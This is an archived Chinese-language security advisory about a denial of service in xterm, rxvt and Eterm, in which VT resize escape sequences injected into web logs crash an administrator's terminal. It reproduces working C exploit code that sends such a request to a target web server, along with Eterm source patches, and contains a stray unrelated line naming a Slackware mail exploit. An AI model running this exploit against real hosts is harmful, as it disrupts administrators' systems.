多个平台上的XTERM拒绝服务攻击漏洞发布时间:2000-05-16 更新时间:2000-05-16 严重程度:中 威胁程度:远程拒绝服务 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 Michael Jennings Eterm 0.8.10详细描述 xterm是一个流行的X11基础上的终端模拟,如果VT控制字符在XTERM显示的话, 其能被解释并会对客户端产生拒绝服务攻击,下面的环境下会产生拒绝服务 攻击: 管理员正在使用tail查看HTTP访问记录,攻击者可以请求带有控制字符的URL 使ADMIN的XTERM崩溃。 测试代码 /* * * xterm Denial of Service Attack * (C) 2000 Kit Knox <kit@rootshell.com> - 5/31/2000 * * Tested against: xterm (XFree86 3.3.3.1b(88b) -- crashes * rxvt v2.6.1 -- consumes all available memory and then * crashes. * * Not vulnerable: KDE konsole 0.9.11 * Secure CRT 3.0.x * * * By sending the VT control characters to resize a window it is possible * to cause an xterm to crash and in some cases consume all available * memory. * * This itself isn't much of a problem, except that remote users can inject * these control characters into your xterm numerous ways including : * * o Directories and filenames on a rogue FTP servers. * o Rogue banner messages on ftp, telnet, mud daemons. * o Log files (spoofed syslog messages, web server logs, ftp server logs) * * This sample exploit injects these control characters into a web get * request. If an admin were to cat this log file, or happened to be doing * a "tail -f access_log" at the time of attack they would find their * xterm crash. * * Embedding "ESCAPE[4;65535;65535t" (where escape is the escape character) * inside files, directories, etc will have the same effect as this code. * */ #include <stdio.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <arpa/inet.h> #include <string.h> #include <unistd.h> #include <stdlib.h> int sock; int main (int argc, char *argv[]) { struct hostent *he; struct sockaddr_in sa; char buf[1024]; char packet[1024]; int i; fprintf(stderr, "[ http://www.rootshell.com/ ] - xterm DoS attack - 05/31/2000.\n\n"); if (argc != 2) { fprintf (stderr, "usage: %s <host/ip>\n", argv[0]); return (-1); } sock = socket (AF_INET, SOCK_STREAM, 0); sa.sin_family = AF_INET; sa.sin_port = htons (80); he = gethostbyname (argv[1]); if (!he) { if ((sa.sin_addr.s_addr = inet_addr (argv[1])) == INADDR_NONE) return (-1); } else { bcopy (he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length); } if (connect (sock, (struct sockaddr *) &sa, sizeof (sa)) < 0) { fprintf (stderr, "Fatal Error: Can't connect to web server.\n"); return (-1); } sprintf(packet, "GET /\033[4;65535;65535t HTTP/1.0\n\n"); write (sock, packet, strlen(packet)); close (sock); fprintf(stderr, "Done.\n"); } 解决方案 补丁: Index: src/command.c =================================================================== RCS file: /cvs/enlightenment/Eterm/src/command.c,v retrieving revision 1.1.1.1.2.7 diff -u -r1.1.1.1.2.7 command.c --- src/command.c 1999/11/02 16:34:35 1.1.1.1.2.7 +++ src/command.c 2000/06/02 02:06:56 @@ -4694,6 +4694,9 @@ return; /* Make sure there are 2 args left */ y = args[++i]; x = args[++i]; + if (x > scr->width || y > scr->height) { + return; + } XResizeWindow(Xdisplay, TermWin.parent, x, y); break; case 5: @@ -4713,6 +4716,9 @@ return; /* Make sure there are 2 args left */ y = args[++i]; x = args[++i]; + if (x > (scr->width / TermWin.fwidth) || y > (scr->height / TermWin.fheight)) { + return; + } XResizeWindow(Xdisplay, TermWin.parent, Width2Pixel(x) + 2 * TermWin.internalBorder + (scrollbar_visible()? scrollbar_total_width() : 0), Height2Pixel(y) + 2 * TermWin.internalBorder + (menubar_visible()? menuBar_TotalHeight() : 0)); --RpDyejMaDGJhP2PU Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="Eterm-0.9-DoS.patch" /usr/bin/Mail exploit for Slackware 7.0 (mail-slack.c) Index: src/term.c =================================================================== RCS file: /cvs/enlightenment/Eterm/src/term.c,v retrieving revision 1.33 diff -u -r1.33 term.c --- src/term.c 2000/01/17 21:29:27 1.33 +++ src/term.c 2000/06/02 02:06:44 @@ -1232,6 +1232,8 @@ return; /* Make sure there are 2 args left */ y = args[++i]; x = args[++i]; + UPPER_BOUND(y, scr->height); + UPPER_BOUND(x, scr->width); XResizeWindow(Xdisplay, TermWin.parent, x, y); #ifdef USE_XIM xim_set_status_position(); @@ -1254,6 +1256,8 @@ return; /* Make sure there are 2 args left */ y = args[++i]; x = args[++i]; + UPPER_BOUND(y, scr->height / TermWin.fheight); + UPPER_BOUND(x, scr->width / TermWin.fwidth); XResizeWindow(Xdisplay, TermWin.parent, Width2Pixel(x) + 2 * TermWin.internalBorder + (scrollbar_is_visible()? scrollbar_trough_width() : 0), Height2Pixel(y) + 2 * TermWin.internalBorder); --RpDyejMaDGJhP2PU-- 相关信息 |